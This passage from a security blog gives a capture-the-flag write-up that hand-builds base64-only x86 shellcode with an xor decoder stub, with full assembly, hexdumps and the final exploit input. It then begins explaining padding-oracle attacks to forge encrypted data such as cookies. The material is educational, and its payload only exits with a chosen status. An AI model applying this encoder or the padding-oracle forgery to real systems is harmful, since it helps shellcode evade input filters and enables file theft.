      • Do the xor to alter it in-memory (ie, decode it back to the original, unencoded value)
      • Increment ecx to point at the next value
      • Repeat for the full payload
    • Run the newly decoded payload

    For the sake of our sanity, we're going to make some assumptions in the code: first, our code is loaded to the address 0x41410000 (which it is, for this challenge). Second, the decoder stub is exactly 0x141 bytes long (we will pad it to get there). Either of these can be easily worked around, but it's not necessary to do the extra work in order to grok the decoder concept.

    Recall that for our sys_exit shellcode, the xor pairs we determined were: 0x43614241 ^ 0x2b39432b, 0x6a6a6a6a ^ 0x2b2b2b2b, and 0x6a6a6a62 ^ 0x2b2b2b39.

    Here's the code:

    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; eax -> 0x41410100
    push eax
    pop ecx ; ecx -> 0x41410100
    
    ; Set edx to the first value in the first xor pair
    push 0x43614241
    pop edx
    
    ; xor it with the second value in the first xor pair (which is at ecx + 0x41)
    xor [ecx+0x41], edx
    
    ; Move ecx to the next 32-bit value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the second xor pair
    push 0x6a6a6a6a
    pop edx
    
    ; xor + increment ecx again
    xor [ecx+0x41], edx
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; Set edx to the first value in the third and final xor pair, and xor it
    push 0x6a6a6a62
    pop edx
    xor [ecx+0x41], edx
    
    ; At this point, I assembled the code and counted the bytes; we have exactly 0x30 bytes of code so far. That means to get our encoded shellcode to exactly 0x141 bytes after the start, we need 0x111 bytes of padding ('A' translates to inc ecx, so it's effectively a no-op because the encoded shellcode doesn't care what ecx starts as):
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAA'
    
    ; Now, the second halves of our xor pairs; this is what gets modified in-place
    dd 0x2b39432b
    dd 0x2b2b2b2b
    dd 0x2b2b2b39
    
    ; And finally, we're going to cheat and just do a syscall that's non-base64-compatible
    int 0x80
    

    All right! Here's what it gives us; note that other than the syscall at the end (we'll get to that, I promise!), it's all base64:

    $ hexdump -Cv file
    00000000  68 41 42 6a 6a 58 35 41  43 2b 2b 50 59 68 41 42  |hABjjX5AC++PYhAB|
    00000010  61 43 5a 31 51 41 41 41  41 41 68 6a 6a 6a 6a 5a  |aCZ1QAAAAAhjjjjZ|
    00000020  31 51 41 41 41 41 41 68  62 6a 6a 6a 5a 31 51 41  |1QAAAAAhbjjjZ1QA|
    00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000080  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000090  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000a0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000b0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000c0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000d0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000e0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    000000f0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000110  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000120  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000130  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
    00000140  41 2b 43 39 2b 2b 2b 2b  2b 39 2b 2b 2b cd 80     |A+C9+++++9+++..|
    

    To run this, we have to patch run_raw_code.c to load the code to the correct address:

    diff --git a/forensics/ximage/solution/run_raw_code.c b/forensics/ximage/solution/run_raw_code.c
    index 9eadd5e..1ad83f1 100644
    --- a/forensics/ximage/solution/run_raw_code.c
    +++ b/forensics/ximage/solution/run_raw_code.c
    @@ -12,7 +12,7 @@ int main(int argc, char *argv[]){
         exit(0);
       }
    
    -  void * a = mmap(0, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    +  void * a = mmap(0x41410000, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
       printf("allocated %d bytes of executable memory at: %p\n", statbuf.st_size, a);
    
       FILE *file = fopen(argv[1], "rb");
    

    You'll also have to compile it in 32-bit mode:

    $ gcc -m32 -o run_raw_code run_raw_code.c
    

    Once that's done, give 'er a shot:

    $ strace ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    [...]
    read(3, "hABjjX5AC++PYhABaCZ1QAAAAAhjjjjZ"..., 335) = 335
    exit(1094795585)                        = ?
    

    We did it, team!

    If we want to actually inspect the code, we can change the very last padding 'A' into 0xcc (aka, int 3, or a SIGTRAP):

    $ diff -u file.asm file-trap.asm
    --- file.asm    2017-06-11 13:17:57.766651742 -0700
    +++ file-trap.asm       2017-06-11 13:17:46.086525100 -0700
    @@ -45,7 +45,7 @@
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
     db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    -db 'AAAAAAAAAAAAAAAAA'
    +db 'AAAAAAAAAAAAAAAA', 0xcc
    
     ; Now, the second halves of our xor pairs
     dd 0x2b39432b
    

    And run it with corefiles enabled:

    $ nasm -o file file.asm
    $ ulimit -c unlimited
    $ ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
    allocated 335 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./core
    Core was generated by `/home/ron/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./fi`.
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410141 in ?? ()
    (gdb) x/10i $eip
    => 0x41410141:  push   0x1
       0x41410143:  pop    eax
       0x41410144:  push   0x41414141
       0x41410149:  pop    ebx
       0x4141014a:  inc    ecx
       0x4141014b:  inc    ecx
       0x4141014c:  inc    ecx
       0x4141014d:  int    0x80
       0x4141014f:  add    BYTE PTR [eax],al
       0x41410151:  add    BYTE PTR [eax],al
    

    As you can see, our original shellcode is properly decoded! (The inc ecx instructions you're seeing is our padding.)

    The decoder stub and encoded shellcode can be quite easily generated programmatically rather than doing it by hand, which is extremely error prone (it took me 4 tries to get it right - I messed up the start address, I compiled run_raw_code in 64-bit mode, and I got the endianness backwards before I finally got it right, which doesn't sound so bad, except that I had to go back and re-write part of this section and re-run most of the commands to get the proper output each time :) ).

    That pesky most-significant-bit

    So, I've been avoiding this, because I don't think I solved it in a very elegant way. But, my solution works, so I guess that's something. :)

    As usual, we start by looking at our set of available instructions to see what we can use to set the most significant bit (let's start calling it the "MSB" to save my fingers).

    Unfortunately, the easy stuff can't help us; xor can only set it if it's already set somewhere, we don't have any shift instructions, inc would take forever, and the subtract and multiply instructions could probably work, but it would be tricky.

    Let's start with a simple case: can we set edx to 0x80?

    First, let's set edx to the highest value we can, 0x7F (we choose edx because a) it's one of the three registers we can easily pop into; b) eax is our working variable since it's the only one we can xor; and c) we don't want to change ecx once we start going, since it points to the memory we're decoding):

    irb(main):057:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x0000007F)
    0x41414146 ^ 0x41414139
    

    Using those values and our old push / pop / xor pattern, we can set edx to 0x80:

    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    
    ; Now that edx is 0x7F, we can simply increment it
    inc edx ; edx -> 0x80
    

    That works out to:

    00000000  68 46 41 41 41 58 35 39  41 41 41 50 5a 42        |hFAAAX59AAAPZB|
    

    So far so good! Now we can do our usual xor to set that one bit in our decoded code:

    xor [ecx+0x41], edx
    

    This sets the MSB of whatever ecx+0x41 (our current instruction) is.

    If we were decoding a single bit at a time, we'd be done. Unfortunately, we aren't so lucky - we're working in 32-bit (4-byte) chunks.

    Setting edx to 0x00008000, 0x00800000, or 0x80000000

    So how do we set edx to 0x00008000, 0x00800000, or 0x80000000 without having a shift instruction?

    This is where I introduce a pretty ugly hack. In effect, we use some stack shenanigans to perform a poor-man's shift. This won't work on most non-x86/x64 systems, because they require a word-aligned stack (I was actually a little surprised it worked on x86, to be honest!).

    Let's say we want 0x00008000. Let's just look at the code:

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier (we need a register that's reliably 0)
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set edx to 0x00000080, just like before
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; eax -> 0x7F
    push eax
    pop edx ; edx -> 0x7F
    inc edx ; edx -> 0x80
    
    ; Push edi (which, like all registers, is 0) onto the stack
    push edi ; 0x00000000
    
    ; Push edx onto the stack
    push edx
    
    ; Move esp by 1 byte - note that this won't work on many architectures, but x86/x64 are fine with a misaligned stack
    dec esp
    
    ; Get edx back, shifted by one byte
    pop edx
    
    ; Fix the stack (not <em>really</em> necessary, but it's nice to do it
    inc esp
    
    ; Add a debug breakpoint so we can inspect the value
    int 3
    

    And we can use gdb to prove it works with the same trick as before:

    $ nasm -o file file.asm
    $ rm -f core
    $ ulimit -c unlimited
    $ ./run_raw_code ./file
    allocated 41 bytes of executable memory at: 0x41410000
    fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
    $ gdb ./run_raw_code ./core
    Program terminated with signal SIGTRAP, Trace/breakpoint trap.
    #0  0x41410029 in ?? ()
    (gdb) print/x $edx
    $1 = 0x8000
    

    We can do basically the exact same thing to set the third byte:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp ; <-- New
    

    And the fourth:

    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp ; <-- New
    pop edx
    inc esp
    inc esp
    inc esp ; <-- New
    

    Putting it all together

    You can take a look at how I do this in my final code. It's going to be a little different, because instead of using our xor trick to set edx to 0x7F, I instead push 0x7a / pop edx / increment 6 times. The only reason is that I didn't think of the xor trick when I was writing the original code, and I don't want to mess with it now.

    But, we're going to do it the hard way: by hand! I'm literally writing this code as I write the blog (and, message from the future: it worked on the second try :) ).

    Let's just stick with our simple exit-with-0x41414141-status shellcode:

    mov eax, 0x01 ; Syscall 1 = sys_exit
    mov ebx, 0x41414141 ; First (and only) parameter: the exit code
    int 0x80
    

    Which assembles to this, which is conveniently already a multiple of 4 bytes so no padding required:

    00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |......AAAA..|
    

    Since we're doing it by hand, let's extract all the MSBs into a separate string (remember, this is all done programmatically usually):

    00000000  38 01 00 00 00 3b 41 41  41 41 4d 00              |......AAAA..|
    00000000  80 00 00 00 00 80 00 00  00 00 80 80              |......AAAA..|
    

    If you xor those two strings together, you'll get the original string back.

    First, let's worry about the first string. It's handled exactly the way we did the last example. We start by getting the three 32-bit values as little endian values:

    • 38 01 00 00 -> 0x00000138
    • 00 3b 41 41 -> 0x41413b00
    • 41 41 4d 00 -> 0x004d4141

    And then find the xor pairs to generate them just like before:

    irb(main):061:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x00000138)
    0x41414241 ^ 0x41414379
    
    irb(main):062:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41413b00)
    0x6a6a4141 ^ 0x2b2b7a41
    
    irb(main):063:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x004d4141)
    0x41626a6a ^ 0x412f2b2b
    

    But here's where the twist comes: let's take the MSB string above, and also convert that to little-endian integers:

    • 80 00 00 00 -> 0x00000080
    • 00 80 00 00 -> 0x00008000
    • 00 00 80 80 -> 0x80800000

    Now, let's try writing our decoder stub just like before, except that after decoding the MSB-free vale, we're going to separately inject the MSBs into the code!

    ; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier
    push 0x41414141
    pop eax
    xor eax, 0x41414141
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    popad
    
    ; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
    push 0x6a6a4241
    pop eax
    xor eax, 0x2b2b4341 ; 0x41410100
    push eax
    pop ecx
    
    ; xor the first pair
    push 0x41414241
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00000080, so let's load it into edx
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the second pair
    push 0x6a6a4141
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x00008000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    
    push edi ; 0x00000000
    push edx
    dec esp
    pop edx ; edx is now 0x00008000
    inc esp
    xor [ecx+0x41], edx
    
    ; Move to the next value
    inc ecx
    inc ecx
    inc ecx
    inc ecx
    
    ; xor the third pair
    push 0x41626a6a
    pop edx
    xor [ecx+0x41], edx
    
    ; Now we need to xor with 0x80800000; we'll do it in two operations, with 0x00800000 first
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; And then the 0x80000000
    push 0x41414146
    pop eax
    xor eax, 0x41414139 ; 0x0000007F
    push eax
    pop edx
    inc edx ; edx is now 0x00000080
    push edi ; 0x00000000
    push edx
    dec esp
    dec esp
    dec esp
    pop edx ; edx is now 0x00800000
    inc esp
    inc esp
    inc esp
    xor [ecx+0x41], edx
    
    ; Padding (calculated based on the length above, subtracted from 0x141)
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    db 'AAAAAAAAAAAAAAAAAAAA'
    
    ; The second halves of the pairs (ie, the encoded data; this is where the decoded data will end up by the time execution gets here)
    dd 0x41414379
    dd 0x2b2b7a41
    dd 0x412f2b2b
    

    And that's it! Let's try it out! The code leading up to the padding assembles to:

    00000000  68 41 41 41 41 58 35 41  41 41 41 50 50 50 50 50  |hAAAAX5AAAAPPPPP|
    00000010  50 50 50 61 68 41 42 6a  6a 58 35 41 43 2b 2b 50  |PPPahABjjX5AC++P|
    00000020  59 68 41 42 41 41 5a 31  51 41 68 46 41 41 41 58  |YhABAAZ1QAhFAAAX|
    00000030  35 39 41 41 41 50 5a 42  31 51 41 41 41 41 41 68  |59AAAPZB1QAAAAAh|
    00000040  41 41 6a 6a 5a 31 51 41  68 46 41 41 41 58 35 39  |AAjjZ1QAhFAAAX59|
    00000050  41 41 41 50 5a 42 57 52  4c 5a 44 31 51 41 41 41  |AAAPZBWRLZD1QAAA|
    00000060  41 41 68 6a 6a 62 41 5a  31 51 41 68 46 41 41 41  |AAhjjbAZ1QAhFAAA|
    00000070  58 35 39 41 41 41 50 5a  42 57 52 4c 4c 5a 44 44  |X59AAAPZBWRLLZDD|
    00000080  31 51 41 68 46 41 41 41  58 35 39 41 41 41 50 5a  |1QAhFAAAX59AAAPZ|
    00000090  42 57 52 4c 4c 4c 5a 44  44 44 31 51 41           |BWRLLLZDDD1QA|
    

    We can verify it's all base64 by eyeballing it. We can also determine that it's 0x9d bytes long, which means to get to 0x141 we need to pad it with 0xa4 bytes (already included above) before the encoded data.

    We can dump allll that code into a file, and run it with run_raw_code (don't forget to apply the patch from earlier to change the base address to 0x41410000, and don't forget to compile with -m32 for 32-bit mode):

    $ nasm -o file file.asm
    $ strace ./run_raw_code ./file
    read(3, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 333) = 333
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    It works! And it only took me two tries (I missed the 'inc ecx' lines the first time :) ).

    I realize that it's a bit inefficient to encode 3 lines into like 100, but that's the cost of having a limited character set!

    Solving the level

    Bringing it back to the actual challenge...

    Now that we have working base 64 code, the rest is pretty simple. Since the app encodes the base64 for us, we have to take what we have and decode it first, to get the string that would generate the base64 we want.

    Because base64 works in blocks and has padding, we're going to append a few meaningless bytes to the end so that if anything gets messed up by being a partial block, they will.

    Here's the full "exploit", assembled:

    hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/A

    We're going to add a few 'A's to the end for padding (the character we choose is meaningless), and run it through base64 -d (adding '='s to the end until we stop getting decoding errors):

    $ echo 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | hexdump -Cv
    00000000  84 00 00 01 7e 40 00 00  0f 3c f3 cf 3c f3 da 84  |....~@...<..<...|
    00000010  00 63 8d 7e 40 0b ef 8f  62 10 01 00 06 75 40 08  |.c.~@...b....u@.|
    00000020  45 00 00 17 e7 d0 00 00  f6 41 d5 00 00 00 00 21  |E........A.....!|
    00000030  00 08 e3 67 54 00 84 50  00 01 7e 7d 00 00 0f 64  |...gT..P..~}...d|
    00000040  15 91 2d 90 f5 40 00 00  00 08 63 8d b0 19 d5 00  |..-..@....c.....|
    00000050  21 14 00 00 5f 9f 40 00  03 d9 05 64 4b 2d 90 c3  |!..._.@....dK-..|
    00000060  d5 00 21 14 00 00 5f 9f  40 00 03 d9 05 64 4b 2c  |..!..._.@....dK,|
    00000070  b6 43 0c 3d 50 00 00 00  00 00 00 00 00 00 00 00  |.C.=P...........|
    00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
    000000f0  03 20 80 00 0c fe fb ef  bf 00 00 00 00 00        |. ............|
    

    Let's convert that into a string that we can use on the commandline by chaining together a bunch of shell commands:

    echo -ne 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | xxd -g1 file | cut -b10-57 | tr -d '\n' | sed 's/ /\\x/g'
    \x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00
    

    And, finally, feed all that into b-64-b-tuff:

    $ echo -ne '\x84\x00\x00\x01\x7e\x40\x00\x00\x0f\x3c\xf3\xcf\x3c\xf3\xda\x84\x00\x63\x8d\x7e\x40\x0b\xef\x8f\x62\x10\x01\x00\x06\x75\x40\x08\x45\x00\x00\x17\xe7\xd0\x00\x00\xf6\x41\xd5\x00\x00\x00\x00\x21\x00\x08\xe3\x67\x54\x00\x84\x50\x00\x01\x7e\x7d\x00\x00\x0f\x64\x15\x91\x2d\x90\xf5\x40\x00\x00\x00\x08\x63\x8d\xb0\x19\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2d\x90\xc3\xd5\x00\x21\x14\x00\x00\x5f\x9f\x40\x00\x03\xd9\x05\x64\x4b\x2c\xb6\x43\x0c\x3d\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x20\x80\x00\x0c\xfe\xfb\xef\xbf\x00\x00\x00\x00\x00' | strace ./b-64-b-tuff
    read(0, "\204\0\0\1~@\0\0\17<\363\317<\363\332\204\0c\215~@\v\357\217b\20\1\0\6u@\10"..., 4096) = 254
    write(1, "Read 254 bytes!\n", 16Read 254 bytes!
    )       = 16
    write(1, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 340hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=) = 340
    write(1, "\n", 1
    )                       = 1
    exit(1094795585)                        = ?
    +++ exited with 65 +++
    

    And, sure enough, it exited with the status that we wanted! Now that we've encoded 12 bytes of shellcode, we can encode any amount of arbitrary code that we choose to!

    Summary

    So that, ladies and gentlemen and everyone else, is how to encode some simple shellcode into base64 by hand. My solution does almost exactly those steps, but in an automated fashion. I also found a few shortcuts while writing the blog that aren't included in that code.

    To summarize:

    • Pad the input to a multiple of 4 bytes
    • Break the input up into 4-byte blocks, and find an xor pair that generates each value
    • Set ecx to a value that's 0x41 bits before the encoded payload, which is half of the xor pairs
    • Put the other half the xor pair in-line, loaded into edx and xor'd with the encoded payload
    • If there are any MSB bits set, set edx to 0x80 and use the stack to shift them into the right place to be inserted with a xor
    • After all the xors, add padding that's base64-compatible, but is effectively a no-op, to bridge between the decoder and the encoded payload
    • End with the encoded stub (second half of the xor pairs)

    When the code runs, it xors each pair, and writes it in-line to where the encoded value was. It sets the MSB bits as needed. The padding runs, which is an effective no-op, then finally the freshly decoded code runs.

    It's complex, but hopefully this blog helps explain it!

    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

    When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

    Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

    Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

    The math

    If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

    We'll define our variables more or less the same as last time:

      Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
                the range of 1..N). We select this.
      Let C   = the corresponding ciphertext, and Cn = the ciphertext
                of block n (the first block being 1) - our goal is to calculate this
      Let N   = the number of blocks (P and C have the same number of blocks by
                definition). PN is the last plaintext block, and CN is
                the last ciphertext block.
      Let IV  = the initialization vector — a random string — frequently
                (incorrectly) set to all zeroes. We'll mostly call this C0 in this
                post for simplicity (see below for an explanation).
      Let E() = a single-block encryption operation (any block encryption
                algorithm, such as AES or DES, it doesn't matter which), with some
                unique and unknown (to the attacker) secret key (that we don't
                notate here).
      Let D() = the corresponding decryption operation.
    

    And the math for encryption:

      C1 = E(P1 ⊕ IV)
      Cn = E(Pn ⊕ Cn-1) — for all n > 1
    

    And, of course, decryption:

      P1 = D(C1) ⊕ IV
      Pn = D(Cn) ⊕ Cn-1 - for all n > 1
    

    Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

    The attack

    Like decryption, we divide the string into blocks, and attack one block at a time.

    We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

